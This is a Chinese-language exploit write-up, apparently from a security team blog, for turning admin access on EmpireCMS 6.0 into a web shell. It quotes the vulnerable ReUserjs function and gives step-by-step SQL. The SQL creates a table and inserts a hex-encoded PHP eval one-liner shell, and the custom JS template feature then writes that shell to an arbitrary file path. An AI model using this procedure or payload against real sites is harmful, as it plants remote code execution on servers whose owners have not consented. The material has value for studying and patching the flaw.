EmpireCMS 6.0 管理权限GETSHELL
Author -> hExi3 Security TeAm
TestEd On : IIS6.0+2k3
分析过程 :
\e\class\functions.php 2609行 ReUserjs 函数.
function ReUserjs($jsr,$addpath){ global $empire,$public_r; DoFileMkDir($addpath.$jsr['jsfilename']);//建目录 //取得js模板 $jstemptext=GetTheJstemp($jsr[jstempid]); //取出设置Js数组 $ret_r=ReturnReplaceListF($jstemptext[modid]);//字段 $jstemptext[temptext]=str_replace('[!--news.url--]',$public_r[newsurl],$jstemptext[temptext]); $temp_r=explode("[!--empirenews.listtemp--]",$jstemptext[temptext]); $query=stripSlashes($jsr[jssql]); $query=RepSqlTbpre($query); $sql=$empire->query($query); //这里只能执行Select语句 , 当程序到这里时就说明已经通过了白名单检测. $no=1; while($r=$empire->fetch($sql)) { $r[oldtitle]=$r[title]; //标题ALT(不截取字符) //替换列表变量 $repvar=ReplaceListVars($no,$temp_r[1],$jstemptext[subnews],$jstemptext[subtitle],$jstemptext[showdate],$url,0,$r,$ret_r); //将在输出前对取出的信息修饰的函数 $allnew.=$repvar; $no++; } $allnew="document.write(\"".addslashes(stripSlashes(str_replace("\r\n","",$temp_r[0].$allnew.$temp_r[2])))."\");"; WriteFiletext_n($addpath.$jsr['jsfilename'],$allnew); }
如果想写入一个脚本木马 , 如果直接再后台提交一篇文章来控制Title等元素是行不通的 , 因为你POST一份能控制[title]的Code文章后已经被过滤了代码定界符 , 所以不能直接来利用. 不过还好后台有一处SQL 执行的地方 , 我们可以创建一张表,接着添加名为"title"的字段 , 再往字段中插入你的代码.这样我们的代码就没有问题了.
具体GetShell过程:
1.先进行创建表操作
create table Excjs(title varchar(80)) insert into Excjs(title) Value(0x3C3F706870206576616C28245F504F53545B785D293F3E) // 经过HEX函数处理.原文 : <?php eval($_POST[x])?>
2.模版管理 -> 增加自定义JS.
Js路径这里文件名没有限制,你可以换成任何文件名.
"查询SQL语句:" 这里填入 : select * frOm Excjs.在管理Js这里找到你修改的Js,最后通过你修改的路径访问你的shell.